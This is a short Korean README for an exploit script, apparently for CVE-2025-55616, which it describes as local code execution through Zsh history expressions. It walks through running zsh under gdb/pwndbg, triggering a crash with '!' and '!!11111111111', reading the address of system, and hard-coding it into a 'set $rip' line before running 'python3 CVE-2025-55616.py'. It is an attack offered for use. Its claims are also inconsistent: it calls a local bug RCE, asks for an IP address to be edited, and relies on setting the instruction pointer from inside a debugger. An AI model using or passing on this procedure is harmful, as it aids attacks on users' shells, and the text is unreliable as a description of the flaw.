
CVE-2025-55616에 대한 익스플로잇으로, Zsh의 히스토리 표현식을 통한 로컬 RCE로 사용자 권한으로 임의 코드 실행을 달성합니다.
이 익스플로잇을 실행하려면: 익스플로잇에서 ip 주소와 "p system"만 변경하면 됩니다, 저도 두 번째 노트북에서 이 방법을 시도했기 때문입니다. 변경하려면 gdb(특히 pwndbg)에서 다음 명령을 실행하세요:
$ gdb zsh -f (터미널에서)
pwndbg> run -f
username% ! (username은 사용자의 것이며, 그냥 ! 만 입력하세요)
username% !!11111111111 (여기서도 마찬가지로 !!11111111111 만 입력하세요)
pwndbg> p system
"p system" 주소를 얻은 후에는 익스플로잇의 다음 줄에서 변경하면 됩니다:
b'set $rip = 0x7ffff7cc9110', (0x7ffff7cc9110 자리에 자신의 p system 주소를 사용하세요)
이 취약점은 로컬 공격자가 Zsh 프로세스를 실행 중인 사용자의 권한으로 임의 코드 실행(RCE)을 달성할 수 있게 합니다.
python3 CVE-2025-55616.py